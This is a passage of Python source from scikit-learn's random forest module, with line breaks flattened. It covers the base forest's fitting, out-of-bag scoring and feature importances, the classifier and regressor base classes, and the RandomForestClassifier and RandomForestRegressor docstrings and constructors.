warm_start=False, class_weight=None, max_samples=None): super().__init__( base_estimator=base_estimator, n_estimators=n_estimators, estimator_params=estimator_params) self.bootstrap = bootstrap self.oob_score = oob_score self.n_jobs = n_jobs self.random_state = random_state self.verbose = verbose self.warm_start = warm_start self.class_weight = class_weight self.max_samples = max_samples def apply(self, X): """ Apply trees in the forest to X, return leaf indices. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csr_matrix``. Returns ------- X_leaves : ndarray of shape (n_samples, n_estimators) For each datapoint x in X and for each tree in the forest, return the index of the leaf x ends up in. """ X = self._validate_X_predict(X) results = Parallel(n_jobs=self.n_jobs, verbose=self.verbose, **_joblib_parallel_args(prefer="threads"))( delayed(tree.apply)(X, check_input=False) for tree in self.estimators_) return np.array(results).T def decision_path(self, X): """ Return the decision path in the forest. .. versionadded:: 0.18 Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csr_matrix``. Returns ------- indicator : sparse matrix of shape (n_samples, n_nodes) Return a node indicator matrix where non zero elements indicates that the samples goes through the nodes. The matrix is of CSR format. n_nodes_ptr : ndarray of shape (n_estimators + 1,) The columns from indicator[n_nodes_ptr[i]:n_nodes_ptr[i+1]] gives the indicator value for the i-th estimator. """ X = self._validate_X_predict(X) indicators = Parallel(n_jobs=self.n_jobs, verbose=self.verbose, **_joblib_parallel_args(prefer='threads'))( delayed(tree.decision_path)(X, check_input=False) for tree in self.estimators_) n_nodes = [0] n_nodes.extend([i.shape[1] for i in indicators]) n_nodes_ptr = np.array(n_nodes).cumsum() return sparse_hstack(indicators).tocsr(), n_nodes_ptr def fit(self, X, y, sample_weight=None): """ Build a forest of trees from the training set (X, y). Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The training input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csc_matrix``. y : array-like of shape (n_samples,) or (n_samples, n_outputs) The target values (class labels in classification, real numbers in regression). sample_weight : array-like of shape (n_samples,), default=None Sample weights. If None, then samples are equally weighted. Splits that would create child nodes with net zero or negative weight are ignored while searching for a split in each node. In the case of classification, splits are also ignored if they would result in any single class carrying a negative weight in either child node. Returns ------- self : object """ # Validate or convert input data if issparse(y): raise ValueError( "sparse multilabel-indicator for y is not supported." ) X, y = self._validate_data(X, y, multi_output=True, accept_sparse="csc", dtype=DTYPE) if sample_weight is not None: sample_weight = _check_sample_weight(sample_weight, X) if issparse(X): # Pre-sort indices to avoid that each individual tree of the # ensemble sorts the indices. X.sort_indices() y = np.atleast_1d(y) if y.ndim == 2 and y.shape[1] == 1: warn("A column-vector y was passed when a 1d array was" " expected. Please change the shape of y to " "(n_samples,), for example using ravel().", DataConversionWarning, stacklevel=2) if y.ndim == 1: # reshape is necessary to preserve the data contiguity against vs # [:, np.newaxis] that does not. y = np.reshape(y, (-1, 1)) if self.criterion == "poisson": if np.any(y < 0): raise ValueError("Some value(s) of y are negative which is " "not allowed for Poisson regression.") if np.sum(y) <= 0: raise ValueError("Sum of y is not strictly positive which " "is necessary for Poisson regression.") self.n_outputs_ = y.shape[1] y, expanded_class_weight = self._validate_y_class_weight(y) if getattr(y, "dtype", None) != DOUBLE or not y.flags.contiguous: y = np.ascontiguousarray(y, dtype=DOUBLE) if expanded_class_weight is not None: if sample_weight is not None: sample_weight = sample_weight * expanded_class_weight else: sample_weight = expanded_class_weight # Get bootstrap sample size n_samples_bootstrap = _get_n_samples_bootstrap( n_samples=X.shape[0], max_samples=self.max_samples ) # Check parameters self._validate_estimator() # TODO: Remove in v1.2 if isinstance(self, (RandomForestRegressor, ExtraTreesRegressor)): if self.criterion == "mse": warn( "Criterion 'mse' was deprecated in v1.0 and will be " "removed in version 1.2. Use `criterion='squared_error'` " "which is equivalent.", FutureWarning ) elif self.criterion == "mae": warn( "Criterion 'mae' was deprecated in v1.0 and will be " "removed in version 1.2. Use `criterion='absolute_error'` " "which is equivalent.", FutureWarning ) if not self.bootstrap and self.oob_score: raise ValueError("Out of bag estimation only available" " if bootstrap=True") random_state = check_random_state(self.random_state) if not self.warm_start or not hasattr(self, "estimators_"): # Free allocated memory, if any self.estimators_ = [] n_more_estimators = self.n_estimators - len(self.estimators_) if n_more_estimators < 0: raise ValueError('n_estimators=%d must be larger or equal to ' 'len(estimators_)=%d when warm_start==True' % (self.n_estimators, len(self.estimators_))) elif n_more_estimators == 0: warn("Warm-start fitting without increasing n_estimators does not " "fit new trees.") else: if self.warm_start and len(self.estimators_) > 0: # We draw from the random state to get the random state we # would have got if we hadn't used a warm_start. random_state.randint(MAX_INT, size=len(self.estimators_)) trees = [self._make_estimator(append=False, random_state=random_state) for i in range(n_more_estimators)] # Parallel loop: we prefer the threading backend as the Cython code # for fitting the trees is internally releasing the Python GIL # making threading more efficient than multiprocessing in # that case. However, for joblib 0.12+ we respect any # parallel_backend contexts set at a higher level, # since correctness does not rely on using threads. trees = Parallel(n_jobs=self.n_jobs, verbose=self.verbose, **_joblib_parallel_args(prefer='threads'))( delayed(_parallel_build_trees)( t, self, X, y, sample_weight, i, len(trees), verbose=self.verbose, class_weight=self.class_weight, n_samples_bootstrap=n_samples_bootstrap) for i, t in enumerate(trees)) # Collect newly grown trees self.estimators_.extend(trees) if self.oob_score: y_type = type_of_target(y) if y_type in ("multiclass-multioutput", "unknown"): # FIXME: we could consider to support multiclass-multioutput if # we introduce or reuse a constructor parameter (e.g. # oob_score) allowing our user to pass a callable defining the # scoring strategy on OOB sample. raise ValueError( f"The type of target cannot be used to compute OOB " f"estimates. Got {y_type} while only the following are " f"supported: continuous, continuous-multioutput, binary, " f"multiclass, multilabel-indicator." ) self._set_oob_score_and_attributes(X, y) # Decapsulate classes_ attributes if hasattr(self, "classes_") and self.n_outputs_ == 1: self.n_classes_ = self.n_classes_[0] self.classes_ = self.classes_[0] return self @abstractmethod def _set_oob_score_and_attributes(self, X, y): """Compute and set the OOB score and attributes. Parameters ---------- X : array-like of shape (n_samples, n_features) The data matrix. y : ndarray of shape (n_samples, n_outputs) The target matrix. """ def _compute_oob_predictions(self, X, y): """Compute and set the OOB score. Parameters ---------- X : array-like of shape (n_samples, n_features) The data matrix. y : ndarray of shape (n_samples, n_outputs) The target matrix. Returns ------- oob_pred : ndarray of shape (n_samples, n_classes, n_outputs) or \ (n_samples, 1, n_outputs) The OOB predictions. """ X = self._validate_data(X, dtype=DTYPE, accept_sparse='csr', reset=False) n_samples = y.shape[0] n_outputs = self.n_outputs_ if is_classifier(self) and hasattr(self, "n_classes_"): # n_classes_ is a ndarray at this stage # all the supported type of target will have the same number of # classes in all outputs oob_pred_shape = (n_samples, self.n_classes_[0], n_outputs) else: # for regression, n_classes_ does not exist and we create an empty # axis to be consistent with the classification case and make # the array operations compatible with the 2 settings oob_pred_shape = (n_samples, 1, n_outputs) oob_pred = np.zeros(shape=oob_pred_shape, dtype=np.float64) n_oob_pred = np.zeros((n_samples, n_outputs), dtype=np.int64) n_samples_bootstrap = _get_n_samples_bootstrap( n_samples, self.max_samples, ) for estimator in self.estimators_: unsampled_indices = _generate_unsampled_indices( estimator.random_state, n_samples, n_samples_bootstrap, ) y_pred = self._get_oob_predictions( estimator, X[unsampled_indices, :] ) oob_pred[unsampled_indices, ...] += y_pred n_oob_pred[unsampled_indices, :] += 1 for k in range(n_outputs): if (n_oob_pred == 0).any(): warn( "Some inputs do not have OOB scores. This probably means " "too few trees were used to compute any reliable OOB " "estimates.", UserWarning ) n_oob_pred[n_oob_pred == 0] = 1 oob_pred[..., k] /= n_oob_pred[..., [k]] return oob_pred def _validate_y_class_weight(self, y): # Default implementation return y, None def _validate_X_predict(self, X): """ Validate X whenever one tries to predict, apply, predict_proba.""" check_is_fitted(self) return self.estimators_[0]._validate_X_predict(X, check_input=True) @property def feature_importances_(self): """ The impurity-based feature importances. The higher, the more important the feature. The importance of a feature is computed as the (normalized) total reduction of the criterion brought by that feature. It is also known as the Gini importance. Warning: impurity-based feature importances can be misleading for high cardinality features (many unique values). See :func:`sklearn.inspection.permutation_importance` as an alternative. Returns ------- feature_importances_ : ndarray of shape (n_features,) The values of this array sum to 1, unless all trees are single node trees consisting of only the root node, in which case it will be an array of zeros. """ check_is_fitted(self) all_importances = Parallel(n_jobs=self.n_jobs, **_joblib_parallel_args(prefer='threads'))( delayed(getattr)(tree, 'feature_importances_') for tree in self.estimators_ if tree.tree_.node_count > 1) if not all_importances: return np.zeros(self.n_features_in_, dtype=np.float64) all_importances = np.mean(all_importances, axis=0, dtype=np.float64) return all_importances / np.sum(all_importances) # TODO: Remove in 1.2 # mypy error: Decorated property not supported @deprecated( # type: ignore "Attribute n_features_ was deprecated in version 1.0 and will be " "removed in 1.2. Use 'n_features_in_' instead." ) @property def n_features_(self): return self.n_features_in_ def _accumulate_prediction(predict, X, out, lock): """ This is a utility function for joblib's Parallel. It can't go locally in ForestClassifier or ForestRegressor, because joblib complains that it cannot pickle it when placed there. """ prediction = predict(X, check_input=False) with lock: if len(out) == 1: out[0] += prediction else: for i in range(len(out)): out[i] += prediction[i] class ForestClassifier(ClassifierMixin, BaseForest, metaclass=ABCMeta): """ Base class for forest of trees-based classifiers. Warning: This class should not be used directly. Use derived classes instead. """ @abstractmethod def __init__(self, base_estimator, n_estimators=100, *, estimator_params=tuple(), bootstrap=False, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, class_weight=None, max_samples=None): super().__init__( base_estimator, n_estimators=n_estimators, estimator_params=estimator_params, bootstrap=bootstrap, oob_score=oob_score, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, class_weight=class_weight, max_samples=max_samples) @staticmethod def _get_oob_predictions(tree, X): """Compute the OOB predictions for an individual tree. Parameters ---------- tree : DecisionTreeClassifier object A single decision tree classifier. X : ndarray of shape (n_samples, n_features) The OOB samples. Returns ------- y_pred : ndarray of shape (n_samples, n_classes, n_outputs) The OOB associated predictions. """ y_pred = tree.predict_proba(X, check_input=False) y_pred = np.array(y_pred, copy=False) if y_pred.ndim == 2: # binary and multiclass y_pred = y_pred[..., np.newaxis] else: # Roll the first `n_outputs` axis to the last axis. We will reshape # from a shape of (n_outputs, n_samples, n_classes) to a shape of # (n_samples, n_classes, n_outputs). y_pred = np.rollaxis(y_pred, axis=0, start=3) return y_pred def _set_oob_score_and_attributes(self, X, y): """Compute and set the OOB score and attributes. Parameters ---------- X : array-like of shape (n_samples, n_features) The data matrix. y : ndarray of shape (n_samples, n_outputs) The target matrix. """ self.oob_decision_function_ = super()._compute_oob_predictions(X, y) if self.oob_decision_function_.shape[-1] == 1: # drop the n_outputs axis if there is a single output self.oob_decision_function_ = self.oob_decision_function_.squeeze( axis=-1 ) self.oob_score_ = accuracy_score( y, np.argmax(self.oob_decision_function_, axis=1) ) def _validate_y_class_weight(self, y): check_classification_targets(y) y = np.copy(y) expanded_class_weight = None if self.class_weight is not None: y_original = np.copy(y) self.classes_ = [] self.n_classes_ = [] y_store_unique_indices = np.zeros(y.shape, dtype=int) for k in range(self.n_outputs_): classes_k, y_store_unique_indices[:, k] = \ np.unique(y[:, k], return_inverse=True) self.classes_.append(classes_k) self.n_classes_.append(classes_k.shape[0]) y = y_store_unique_indices if self.class_weight is not None: valid_presets = ('balanced', 'balanced_subsample') if isinstance(self.class_weight, str): if self.class_weight not in valid_presets: raise ValueError('Valid presets for class_weight include ' '"balanced" and "balanced_subsample".' 'Given "%s".' % self.class_weight) if self.warm_start: warn('class_weight presets "balanced" or ' '"balanced_subsample" are ' 'not recommended for warm_start if the fitted data ' 'differs from the full dataset. In order to use ' '"balanced" weights, use compute_class_weight ' '("balanced", classes, y). In place of y you can use ' 'a large enough sample of the full training set ' 'target to properly estimate the class frequency ' 'distributions. Pass the resulting weights as the ' 'class_weight parameter.') if (self.class_weight != 'balanced_subsample' or not self.bootstrap): if self.class_weight == "balanced_subsample": class_weight = "balanced" else: class_weight = self.class_weight expanded_class_weight = compute_sample_weight(class_weight, y_original) return y, expanded_class_weight def predict(self, X): """ Predict class for X. The predicted class of an input sample is a vote by the trees in the forest, weighted by their probability estimates. That is, the predicted class is the one with highest mean probability estimate across the trees. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csr_matrix``. Returns ------- y : ndarray of shape (n_samples,) or (n_samples, n_outputs) The predicted classes. """ proba = self.predict_proba(X) if self.n_outputs_ == 1: return self.classes_.take(np.argmax(proba, axis=1), axis=0) else: n_samples = proba[0].shape[0] # all dtypes should be the same, so just take the first class_type = self.classes_[0].dtype predictions = np.empty((n_samples, self.n_outputs_), dtype=class_type) for k in range(self.n_outputs_): predictions[:, k] = self.classes_[k].take(np.argmax(proba[k], axis=1), axis=0) return predictions def predict_proba(self, X): """ Predict class probabilities for X. The predicted class probabilities of an input sample are computed as the mean predicted class probabilities of the trees in the forest. The class probability of a single tree is the fraction of samples of the same class in a leaf. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csr_matrix``. Returns ------- p : ndarray of shape (n_samples, n_classes), or a list of such arrays The class probabilities of the input samples. The order of the classes corresponds to that in the attribute :term:`classes_`. """ check_is_fitted(self) # Check data X = self._validate_X_predict(X) # Assign chunk of trees to jobs n_jobs, _, _ = _partition_estimators(self.n_estimators, self.n_jobs) # avoid storing the output of every estimator by summing them here all_proba = [np.zeros((X.shape[0], j), dtype=np.float64) for j in np.atleast_1d(self.n_classes_)] lock = threading.Lock() Parallel(n_jobs=n_jobs, verbose=self.verbose, **_joblib_parallel_args(require="sharedmem"))( delayed(_accumulate_prediction)(e.predict_proba, X, all_proba, lock) for e in self.estimators_) for proba in all_proba: proba /= len(self.estimators_) if len(all_proba) == 1: return all_proba[0] else: return all_proba def predict_log_proba(self, X): """ Predict class log-probabilities for X. The predicted class log-probabilities of an input sample is computed as the log of the mean predicted class probabilities of the trees in the forest. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csr_matrix``. Returns ------- p : ndarray of shape (n_samples, n_classes), or a list of such arrays The class probabilities of the input samples. The order of the classes corresponds to that in the attribute :term:`classes_`. """ proba = self.predict_proba(X) if self.n_outputs_ == 1: return np.log(proba) else: for k in range(self.n_outputs_): proba[k] = np.log(proba[k]) return proba class ForestRegressor(RegressorMixin, BaseForest, metaclass=ABCMeta): """ Base class for forest of trees-based regressors. Warning: This class should not be used directly. Use derived classes instead. """ @abstractmethod def __init__(self, base_estimator, n_estimators=100, *, estimator_params=tuple(), bootstrap=False, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, max_samples=None): super().__init__( base_estimator, n_estimators=n_estimators, estimator_params=estimator_params, bootstrap=bootstrap, oob_score=oob_score, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, max_samples=max_samples) def predict(self, X): """ Predict regression target for X. The predicted regression target of an input sample is computed as the mean predicted regression targets of the trees in the forest. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csr_matrix``. Returns ------- y : ndarray of shape (n_samples,) or (n_samples, n_outputs) The predicted values. """ check_is_fitted(self) # Check data X = self._validate_X_predict(X) # Assign chunk of trees to jobs n_jobs, _, _ = _partition_estimators(self.n_estimators, self.n_jobs) # avoid storing the output of every estimator by summing them here if self.n_outputs_ > 1: y_hat = np.zeros((X.shape[0], self.n_outputs_), dtype=np.float64) else: y_hat = np.zeros((X.shape[0]), dtype=np.float64) # Parallel loop lock = threading.Lock() Parallel(n_jobs=n_jobs, verbose=self.verbose, **_joblib_parallel_args(require="sharedmem"))( delayed(_accumulate_prediction)(e.predict, X, [y_hat], lock) for e in self.estimators_) y_hat /= len(self.estimators_) return y_hat @staticmethod def _get_oob_predictions(tree, X): """Compute the OOB predictions for an individual tree. Parameters ---------- tree : DecisionTreeRegressor object A single decision tree regressor. X : ndarray of shape (n_samples, n_features) The OOB samples. Returns ------- y_pred : ndarray of shape (n_samples, 1, n_outputs) The OOB associated predictions. """ y_pred = tree.predict(X, check_input=False) if y_pred.ndim == 1: # single output regression y_pred = y_pred[:, np.newaxis, np.newaxis] else: # multioutput regression y_pred = y_pred[:, np.newaxis, :] return y_pred def _set_oob_score_and_attributes(self, X, y): """Compute and set the OOB score and attributes. Parameters ---------- X : array-like of shape (n_samples, n_features) The data matrix. y : ndarray of shape (n_samples, n_outputs) The target matrix. """ self.oob_prediction_ = super()._compute_oob_predictions(X, y).squeeze( axis=1 ) if self.oob_prediction_.shape[-1] == 1: # drop the n_outputs axis if there is a single output self.oob_prediction_ = self.oob_prediction_.squeeze(axis=-1) self.oob_score_ = r2_score(y, self.oob_prediction_) def _compute_partial_dependence_recursion(self, grid, target_features): """Fast partial dependence computation. Parameters ---------- grid : ndarray of shape (n_samples, n_target_features) The grid points on which the partial dependence should be evaluated. target_features : ndarray of shape (n_target_features) The set of target features for which the partial dependence should be evaluated. Returns ------- averaged_predictions : ndarray of shape (n_samples,) The value of the partial dependence function on each grid point. """ grid = np.asarray(grid, dtype=DTYPE, order='C') averaged_predictions = np.zeros(shape=grid.shape[0], dtype=np.float64, order='C') for tree in self.estimators_: # Note: we don't sum in parallel because the GIL isn't released in # the fast method. tree.tree_.compute_partial_dependence( grid, target_features, averaged_predictions) # Average over the forest averaged_predictions /= len(self.estimators_) return averaged_predictions class RandomForestClassifier(ForestClassifier): """ A random forest classifier. A random forest is a meta estimator that fits a number of decision tree classifiers on various sub-samples of the dataset and uses averaging to improve the predictive accuracy and control over-fitting. The sub-sample size is controlled with the `max_samples` parameter if `bootstrap=True` (default), otherwise the whole dataset is used to build each tree. Read more in the :ref:`User Guide <forest>`. Parameters ---------- n_estimators : int, default=100 The number of trees in the forest. .. versionchanged:: 0.22 The default value of ``n_estimators`` changed from 10 to 100 in 0.22. criterion : {"gini", "entropy"}, default="gini" The function to measure the quality of a split. Supported criteria are "gini" for the Gini impurity and "entropy" for the information gain. Note: this parameter is tree-specific. max_depth : int, default=None The maximum depth of the tree. If None, then nodes are expanded until all leaves are pure or until all leaves contain less than min_samples_split samples. min_samples_split : int or float, default=2 The minimum number of samples required to split an internal node: - If int, then consider `min_samples_split` as the minimum number. - If float, then `min_samples_split` is a fraction and `ceil(min_samples_split * n_samples)` are the minimum number of samples for each split. .. versionchanged:: 0.18 Added float values for fractions. min_samples_leaf : int or float, default=1 The minimum number of samples required to be at a leaf node. A split point at any depth will only be considered if it leaves at least ``min_samples_leaf`` training samples in each of the left and right branches. This may have the effect of smoothing the model, especially in regression. - If int, then consider `min_samples_leaf` as the minimum number. - If float, then `min_samples_leaf` is a fraction and `ceil(min_samples_leaf * n_samples)` are the minimum number of samples for each node. .. versionchanged:: 0.18 Added float values for fractions. min_weight_fraction_leaf : float, default=0.0 The minimum weighted fraction of the sum total of weights (of all the input samples) required to be at a leaf node. Samples have equal weight when sample_weight is not provided. max_features : {"auto", "sqrt", "log2"}, int or float, default="auto" The number of features to consider when looking for the best split: - If int, then consider `max_features` features at each split. - If float, then `max_features` is a fraction and `round(max_features * n_features)` features are considered at each split. - If "auto", then `max_features=sqrt(n_features)`. - If "sqrt", then `max_features=sqrt(n_features)` (same as "auto"). - If "log2", then `max_features=log2(n_features)`. - If None, then `max_features=n_features`. Note: the search for a split does not stop until at least one valid partition of the node samples is found, even if it requires to effectively inspect more than ``max_features`` features. max_leaf_nodes : int, default=None Grow trees with ``max_leaf_nodes`` in best-first fashion. Best nodes are defined as relative reduction in impurity. If None then unlimited number of leaf nodes. min_impurity_decrease : float, default=0.0 A node will be split if this split induces a decrease of the impurity greater than or equal to this value. The weighted impurity decrease equation is the following:: N_t / N * (impurity - N_t_R / N_t * right_impurity - N_t_L / N_t * left_impurity) where ``N`` is the total number of samples, ``N_t`` is the number of samples at the current node, ``N_t_L`` is the number of samples in the left child, and ``N_t_R`` is the number of samples in the right child. ``N``, ``N_t``, ``N_t_R`` and ``N_t_L`` all refer to the weighted sum, if ``sample_weight`` is passed. .. versionadded:: 0.19 min_impurity_split : float, default=None Threshold for early stopping in tree growth. A node will split if its impurity is above the threshold, otherwise it is a leaf. .. deprecated:: 0.19 ``min_impurity_split`` has been deprecated in favor of ``min_impurity_decrease`` in 0.19. The default value of ``min_impurity_split`` has changed from 1e-7 to 0 in 0.23 and it will be removed in 1.0 (renaming of 0.25). Use ``min_impurity_decrease`` instead. bootstrap : bool, default=True Whether bootstrap samples are used when building trees. If False, the whole dataset is used to build each tree. oob_score : bool, default=False Whether to use out-of-bag samples to estimate the generalization score. Only available if bootstrap=True. n_jobs : int, default=None The number of jobs to run in parallel. :meth:`fit`, :meth:`predict`, :meth:`decision_path` and :meth:`apply` are all parallelized over the trees. ``None`` means 1 unless in a :obj:`joblib.parallel_backend` context. ``-1`` means using all processors. See :term:`Glossary <n_jobs>` for more details. random_state : int, RandomState instance or None, default=None Controls both the randomness of the bootstrapping of the samples used when building trees (if ``bootstrap=True``) and the sampling of the features to consider when looking for the best split at each node (if ``max_features < n_features``). See :term:`Glossary <random_state>` for details. verbose : int, default=0 Controls the verbosity when fitting and predicting. warm_start : bool, default=False When set to ``True``, reuse the solution of the previous call to fit and add more estimators to the ensemble, otherwise, just fit a whole new forest. See :term:`the Glossary <warm_start>`. class_weight : {"balanced", "balanced_subsample"}, dict or list of dicts, \ default=None Weights associated with classes in the form ``{class_label: weight}``. If not given, all classes are supposed to have weight one. For multi-output problems, a list of dicts can be provided in the same order as the columns of y. Note that for multioutput (including multilabel) weights should be defined for each class of every column in its own dict. For example, for four-class multilabel classification weights should be [{0: 1, 1: 1}, {0: 1, 1: 5}, {0: 1, 1: 1}, {0: 1, 1: 1}] instead of [{1:1}, {2:5}, {3:1}, {4:1}]. The "balanced" mode uses the values of y to automatically adjust weights inversely proportional to class frequencies in the input data as ``n_samples / (n_classes * np.bincount(y))`` The "balanced_subsample" mode is the same as "balanced" except that weights are computed based on the bootstrap sample for every tree grown. For multi-output, the weights of each column of y will be multiplied. Note that these weights will be multiplied with sample_weight (passed through the fit method) if sample_weight is specified. ccp_alpha : non-negative float, default=0.0 Complexity parameter used for Minimal Cost-Complexity Pruning. The subtree with the largest cost complexity that is smaller than ``ccp_alpha`` will be chosen. By default, no pruning is performed. See :ref:`minimal_cost_complexity_pruning` for details. .. versionadded:: 0.22 max_samples : int or float, default=None If bootstrap is True, the number of samples to draw from X to train each base estimator. - If None (default), then draw `X.shape[0]` samples. - If int, then draw `max_samples` samples. - If float, then draw `max_samples * X.shape[0]` samples. Thus, `max_samples` should be in the interval `(0.0, 1.0]`. .. versionadded:: 0.22 Attributes ---------- base_estimator_ : DecisionTreeClassifier The child estimator template used to create the collection of fitted sub-estimators. estimators_ : list of DecisionTreeClassifier The collection of fitted sub-estimators. classes_ : ndarray of shape (n_classes,) or a list of such arrays The classes labels (single output problem), or a list of arrays of class labels (multi-output problem). n_classes_ : int or list The number of classes (single output problem), or a list containing the number of classes for each output (multi-output problem). n_features_ : int The number of features when ``fit`` is performed. .. deprecated:: 1.0 Attribute `n_features_` was deprecated in version 1.0 and will be removed in 1.2. Use `n_features_in_` instead. n_features_in_ : int Number of features seen during :term:`fit`. .. versionadded:: 0.24 n_outputs_ : int The number of outputs when ``fit`` is performed. feature_importances_ : ndarray of shape (n_features,) The impurity-based feature importances. The higher, the more important the feature. The importance of a feature is computed as the (normalized) total reduction of the criterion brought by that feature. It is also known as the Gini importance. Warning: impurity-based feature importances can be misleading for high cardinality features (many unique values). See :func:`sklearn.inspection.permutation_importance` as an alternative. oob_score_ : float Score of the training dataset obtained using an out-of-bag estimate. This attribute exists only when ``oob_score`` is True. oob_decision_function_ : ndarray of shape (n_samples, n_classes) or \ (n_samples, n_classes, n_outputs) Decision function computed with out-of-bag estimate on the training set. If n_estimators is small it might be possible that a data point was never left out during the bootstrap. In this case, `oob_decision_function_` might contain NaN. This attribute exists only when ``oob_score`` is True. See Also -------- DecisionTreeClassifier, ExtraTreesClassifier Notes ----- The default values for the parameters controlling the size of the trees (e.g. ``max_depth``, ``min_samples_leaf``, etc.) lead to fully grown and unpruned trees which can potentially be very large on some data sets. To reduce memory consumption, the complexity and size of the trees should be controlled by setting those parameter values. The features are always randomly permuted at each split. Therefore, the best found split may vary, even with the same training data, ``max_features=n_features`` and ``bootstrap=False``, if the improvement of the criterion is identical for several splits enumerated during the search of the best split. To obtain a deterministic behaviour during fitting, ``random_state`` has to be fixed. References ---------- .. [1] L. Breiman, "Random Forests", Machine Learning, 45(1), 5-32, 2001. Examples -------- >>> from sklearn.ensemble import RandomForestClassifier >>> from sklearn.datasets import make_classification >>> X, y = make_classification(n_samples=1000, n_features=4, ... n_informative=2, n_redundant=0, ... random_state=0, shuffle=False) >>> clf = RandomForestClassifier(max_depth=2, random_state=0) >>> clf.fit(X, y) RandomForestClassifier(...) >>> print(clf.predict([[0, 0, 0, 0]])) [1] """ def __init__(self, n_estimators=100, *, criterion="gini", max_depth=None, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0., max_features="auto", max_leaf_nodes=None, min_impurity_decrease=0., min_impurity_split=None, bootstrap=True, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, class_weight=None, ccp_alpha=0.0, max_samples=None): super().__init__( base_estimator=DecisionTreeClassifier(), n_estimators=n_estimators, estimator_params=("criterion", "max_depth", "min_samples_split", "min_samples_leaf", "min_weight_fraction_leaf", "max_features", "max_leaf_nodes", "min_impurity_decrease", "min_impurity_split", "random_state", "ccp_alpha"), bootstrap=bootstrap, oob_score=oob_score, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, class_weight=class_weight, max_samples=max_samples) self.criterion = criterion self.max_depth = max_depth self.min_samples_split = min_samples_split self.min_samples_leaf = min_samples_leaf self.min_weight_fraction_leaf = min_weight_fraction_leaf self.max_features = max_features self.max_leaf_nodes = max_leaf_nodes self.min_impurity_decrease = min_impurity_decrease self.min_impurity_split = min_impurity_split self.ccp_alpha = ccp_alpha class RandomForestRegressor(ForestRegressor): """ A random forest regressor. A random forest is a meta estimator that fits a number of classifying decision trees on various sub-samples of the dataset and uses averaging to improve the predictive accuracy and control over-fitting. The sub-sample size is controlled with the `max_samples` parameter if `bootstrap=True` (default), otherwise the whole dataset is used to build each tree. Read more in the :ref:`User Guide <forest>`. Parameters ---------- n_estimators : int, default=100 The number of trees in the forest. .. versionchanged:: 0.22 The default value of ``n_estimators`` changed from 10 to 100 in 0.22. criterion : {"squared_error", "mse", "absolute_error", "poisson"}, \ default="squared_error" The function to measure the quality of a split. Supported criteria are "squared_error" for the mean squared error, which is equal to variance reduction as feature selection criterion, "absolute_error" for the mean absolute error, and "poisson" which uses reduction in Poisson deviance to find splits. Training using "absolute_error" is significantly slower than when using "squared_error". .. versionadded:: 0.18 Mean Absolute Error (MAE) criterion. .. versionadded:: 1.0 Poisson criterion. .. deprecated:: 1.0 Criterion "mse" was deprecated in v1.0 and will be removed in version 1.2. Use `criterion="squared_error"` which is equivalent. .. deprecated:: 1.0 Criterion "mae" was deprecated in v1.0 and will be removed in version 1.2. Use `criterion="absolute_error"` which is equivalent. max_depth : int, default=None The maximum depth of the tree. If None, then nodes are expanded until all leaves are pure or until all leaves contain less than min_samples_split samples. min_samples_split : int or float, default=2 The minimum number of samples required to split an internal node: - If int, then consider `min_samples_split` as the minimum number. - If float, then `min_samples_split` is a fraction and `ceil(min_samples_split * n_samples)` are the minimum number of samples for each split. .. versionchanged:: 0.18 Added float values for fractions. min_samples_leaf : int or float, default=1 The minimum number of samples required to be at a leaf node. A split point at any depth will only be considered if it leaves at least ``min_samples_leaf`` training samples in each of the left and right branches. This may have the effect of smoothing the model, especially in regression. - If int, then consider `min_samples_leaf` as the minimum number. - If float, then `min_samples_leaf` is a fraction and `ceil(min_samples_leaf * n_samples)` are the minimum number of samples for each node. .. versionchanged:: 0.18 Added float values for fractions. min_weight_fraction_leaf : float, default=0.0 The minimum weighted fraction of the sum total of weights (of all the input samples) required to be at a leaf node. Samples have equal weight when sample_weight is not provided. max_features : {"auto", "sqrt", "log2"}, int or float, default="auto" The number of features to consider when looking for the best split: - If int, then consider `max_features` features at each split. - If float, then `max_features` is a fraction and `round(max_features * n_features)` features are considered at each split. - If "auto", then `max_features=n_features`. - If "sqrt", then `max_features=sqrt(n_features)`. - If "log2", then `max_features=log2(n_features)`. - If None, then `max_features=n_features`. Note: the search for a split does not stop until at least one valid partition of the node samples is found, even if it requires to effectively inspect more than ``max_features`` features. max_leaf_nodes : int, default=None Grow trees with ``max_leaf_nodes`` in best-first fashion. Best nodes are defined as relative reduction in impurity. If None then unlimited number of leaf nodes. min_impurity_decrease : float, default=0.0 A node will be split if this split induces a decrease of the impurity greater than or equal to this value. The weighted impurity decrease equation is the following:: N_t / N * (impurity - N_t_R / N_t * right_impurity - N_t_L / N_t * left_impurity) where ``N`` is the total number of samples, ``N_t`` is the number of samples at the current node, ``N_t_L`` is the number of samples in the left child, and ``N_t_R`` is the number of samples in the right child. ``N``, ``N_t``, ``N_t_R`` and ``N_t_L`` all refer to the weighted sum, if ``sample_weight`` is passed. .. versionadded:: 0.19 min_impurity_split : float, default=None Threshold for early stopping in tree growth. A node will split if its impurity is above the 